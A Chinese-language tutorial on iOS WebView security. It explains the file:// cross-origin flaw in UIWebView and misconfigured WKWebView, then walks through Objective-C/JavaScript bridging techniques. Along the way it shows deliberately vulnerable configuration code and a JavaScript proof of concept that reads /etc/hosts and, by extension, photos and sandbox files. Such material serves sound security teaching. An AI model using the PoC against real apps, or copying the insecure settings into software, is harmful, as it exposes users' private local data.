iOS应用安全 —— WebView安全

WebView是iOS用于显示网页的控件,是一个基于Webkit引擎、展现web页面的控件。WebView控件功能除了具有一般View的属性和设置外,还可对URL请求、页面加载、渲染、页面交互进行处理。

iOS下的Webview有UIWebView和WKWebView两种,其中UIWebView在iOS 8之后已经不推荐使用(https://developer.apple.com/documentation/uikit/uiwebview?changes=_6),但仍然有很多APP使用UIWebView。

File跨域漏洞

UIWebView 此漏洞默认存在, WKWebView如果使用了不恰当的方式比如 [configuration.preferences setValue:@”TRUE” forKey:@”allowFileAccessFromFileURLs”]; 也会存在漏洞

攻击者可利用App文件下载机制将恶意文件写入沙盒内并诱导用户打开,当用户打开恶意文件时,其中的恶意代码可通过AJAX向“file://”域发起请求,从而远程获取App沙盒内所有的本地敏感数据。

UIWebView

UIWebView虽然已经被遗弃,但依然还有很多app继续使用,且最新版本的iOS也会兼容UIWebView。由于UIWebView本身存在严重的跨域漏洞,所以只要使用UIWebView都有可能存在跨域漏洞。

漏洞原因在于UIWebView的WebKitAllowUniversalAccessFromFileURLs和WebKitAllowFileAccessFromFileURLs默认开启,导致通过js可以访问沙箱内的文件,甚至可以静默上传文件到远端。

漏洞代码示例:

1
2
3
4
5
6
7
8
9
UIWebView* uiweb = [[UIWebView alloc] initWithFrame:self.view.frame];
uiweb.center = self.view.center;
// 打开本地html文件
NSString *resourcePath = [[NSBundle mainBundle] resourcePath];
NSString *filePath =[resourcePath stringByAppendingPathComponent:@"index.html"];
NSMutableString *htmlstring=[[NSMutableString alloc] initWithContentsOfFile:filePath encoding:NSUTF8StringEncoding error:nil];
NSURL *baseUrl=[NSURL fileURLWithPath:[[NSBundle mainBundle] bundlePath]];
[uiweb loadHTMLString:htmlstring baseURL:baseUrl];
[self.view addSubview:uiweb];

PoC代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var localfile = "file:///etc/hosts"
var xhr = new XMLHttpRequest();
xhr.onreadystatechange=function()
{
if (xhr.readyState==4)
{
alert(xhr.responseText);
}
}
try {
xhr.open("GET", localfile, true);
xhr.send();
}
catch (ex) {
alert(ex.message);
}

被攻击者点击打开文件后,应用默认使用UIWebView进行加载,结果如下图:

upload successful

如果将localfile设置为”/User/Media/DCIM/100APPLE/xxx.JPG”即可以打开本地照片,设置成相对路径即可打开沙盒内的任意文件。

修复方式是使用WKWebView替换UIWebView,并做好配置,因为WKWebView也不是绝对安全。

WKWebView

WKWebView默认allowFileAccessFromFileURLs和allowUniversalAccessFromFileURLs选项为false,但如果开发者开启了这两个API,同样存在跨域漏洞。

需要注意的是allowFileAccessFromFileURLs和allowUniversalAccessFromFileURLs任意一个API设置为true,都会存在漏洞。另外,在OC中两个API的调用不同且均为私有API,详见以下代码。

漏洞代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//配置WKWebView设置allowFileAccessFromFileURLs 为true
WKWebViewConfiguration * configuration = [[WKWebViewConfiguration alloc] init];
//[configuration.preferences setValue:@TRUE forKey:@"allowFileAccessFromFileURLs"];
[configuration setValue:@TRUE forKey:@"allowUniversalAccessFromFileURLs"];
WKWebView *wkweb = [[WKWebView alloc] initWithFrame:self.view.frame configuration:configuration];
wkweb.center = self.view.center;
wkweb.UIDelegate = self;//代理,需要实现alert
[self.view addSubview:wkweb];

NSString *resourcePath = [[NSBundle mainBundle] resourcePath];
NSString *filePath =[resourcePath stringByAppendingPathComponent:@"index.html"];
NSMutableString *htmlstring=[[NSMutableString alloc] initWithContentsOfFile:filePath encoding:NSUTF8StringEncoding error:nil];
NSURL *baseUrl=[NSURL fileURLWithPath:[[NSBundle mainBundle] bundlePath]];
[wkweb loadHTMLString:htmlstring baseURL:baseUrl];

开启API后执行结果如下:

upload successful

参考资料:

  1. CNNVD 关于iOS平台WebView组件跨域漏洞情况的通报 https://mp.weixin.qq.com/s/ZBMCgoQnYIUHVjrUHOlv4g
  2. https://bugs.webkit.org/show_bug.cgi?id=154916
  3. https://developer.apple.com/documentation/webkit/wkwebview

OC和js的相互调用

OC调用js

UIWebView

  • 1.stringByEvaluatingJavaScriptFromString
    该方法不能判断调用了一个js方法之后,是否发生了错误。当错误发生时,返回值为nil,而当调用一个方法本身没有返回值时,返回值也为nil,所以无法判断是否调用成功了。

    1
    2
    3
    4
     NSString *str = [uiweb stringByEvaluatingJavaScriptFromString:@"document.location.href='https://www.baidu.com';"
    "document.title='test';"
    "setTimeout(document.write('aaaa'),9000);"];
    NSLog(@"%@",str);
  • 2.JavaScriptCore(iOS 7.0 +)
    WebKit有一个内嵌的js环境,一般我们在页面加载完成之后,获取js上下文,然后通过JSContext的evaluateScript:方法来获取返回值。因为该方法得到的是一个JSValue对象,所以支持JavaScript的Array、Number、String、对象等数据类型。

1
2
3
JSContext *jsContext = [uiwebView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"];
JSValue *value = [jsContext evaluateScript:@"document.write('http://www.qq.com')"];
NSLog(@"%@",value.toString);

WKWebView

WKWebView提供了一个evaluateJavaScript的方法

1
-(void)evaluateJavaScript:(NSString *)javaScriptString completionHandler:(void (^ _Nullable)(_Nullable id result, NSError * _Nullable error))completionHandler;

实例代码如下:

1
2
3
[self.webView evaluateJavaScript:@"document.title" completionHandler:^(id _Nullable title, NSError * _Nullable error) {
NSLog(@"调用evaluateJavaScript异步获取title:%@", title);
}];

js调用OC

UIWebView

    1. 拦截自定义scheme

比如m4bln://。方法是在html或者js中,点击某个按钮触发事件时,跳转到自定义URL Scheme构成的链接,而OC中捕获该链接,从中解析必要的参数,实现JS到OC的一次交互。比如页面中一个a标签,链接如下:

1
<a href="m4bln://login?aaa=xxx">

OC代码实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
-(BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest *)request navigationType:(UIWebViewNavigationType)navigationType
{
//标准的URL包含scheme、host、port、path、query、fragment等
NSURL *URL = request.URL;
if ([URL.scheme isEqualToString:@"m4bln"]) {
if ([URL.host isEqualToString:@"login"]) {
NSLog(@"js参数为 %@", URL.query);
return NO;
}
}
return YES;
}

  • 2.JavaScriptCore(iOS 7.0 +)

利用JavaScriptCore,在页面加载完成时,先获取js上下文。获取到之后,我们就可以进行强大的方法映射了。
例如,前端调用share方法:

1
2
function share(title, imgUrl, link) {
}

对应的OC代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
-(void)webViewDidFinishLoad:(UIWebView *)webView
{
//获取该UIWebview的javascript上下文
//self持有jsContext
//@property (nonatomic, strong) JSContext *jsContext;
self.jsContext = [self.webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"];

//js调用oc
//其中share就是js的方法名称,赋给是一个block 里面是oc代码
//此方法最终将打印出所有接收到的参数,js参数是不固定的
self.jsContext[@"share"] = ^() {
NSArray *args = [JSContext currentArguments];//获取到share里的所有参数
//args中的元素是JSValue,需要转成OC的对象
NSMutableArray *messages = [NSMutableArray array];
for (JSValue *obj in args) {
[messages addObject:[obj toObject]];
}
NSLog(@"点击分享js传回的参数:\n%@", messages);
};


}

WKWebView

  • 1.拦截自定义scheme
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-(void)webView:(WKWebView *)webView decidePolicyForNavigationAction:(WKNavigationAction *)navigationAction decisionHandler:(void (^)(WKNavigationActionPolicy))decisionHandler {
//可以通过navigationAction.navigationType获取跳转类型,如新链接、后退等
NSURL *URL = navigationAction.request.URL;
//判断URL是否符合自定义的URL Scheme
if ([URL.scheme isEqualToString:@"darkangel"]) {
//根据不同的业务,来执行对应的操作,且获取参数
if ([URL.host isEqualToString:@"smsLogin"]) {
NSString *param = URL.query;
NSLog(@"短信验证码登录, 参数为%@", param);
decisionHandler(WKNavigationActionPolicyCancel);
return;
}
}
decisionHandler(WKNavigationActionPolicyAllow);
NSLog(@"%@", NSStringFromSelector(_cmd));
}
  • 2.scriptMessageHandler

(1) 创建WKWebViewConfiguration对象,配置各个API对应的MessageHandler。
(2) 创建WKWebView。
(3) 实现协议方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//首先别忘了,在configuration中的userContentController中添加scriptMessageHandler
[controller addScriptMessageHandler:self name:@"shareNew"]; //记得适当时候remove


//点击a标签时,则会调用下面的方法
#pragma mark - WKScriptMessageHandler

-(void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message {
if ([message.name isEqualToString:@"shareNew"]) {
NSDictionary *shareData = message.body;
NSLog(@"shareNew分享的数据为: %@", shareData);
//模拟异步回调
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(4 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
//读取js function的字符串
NSString *jsFunctionString = shareData[@"result"];
//拼接调用该方法的js字符串
NSString *callbackJs = [NSString stringWithFormat:@"(%@)(%d);", jsFunctionString, NO]; //后面的参数NO为模拟分享失败
//执行回调
[self.webView evaluateJavaScript:callbackJs completionHandler:^(id _Nullable result, NSError * _Nullable error) {
if (!error) {
NSLog(@"模拟回调,分享失败");
}
}];
});
}
}

参考链接:

  1. iOS中UIWebView与WKWebView、JavaScript与OC交互 https://www.jianshu.com/p/ac45d99cf912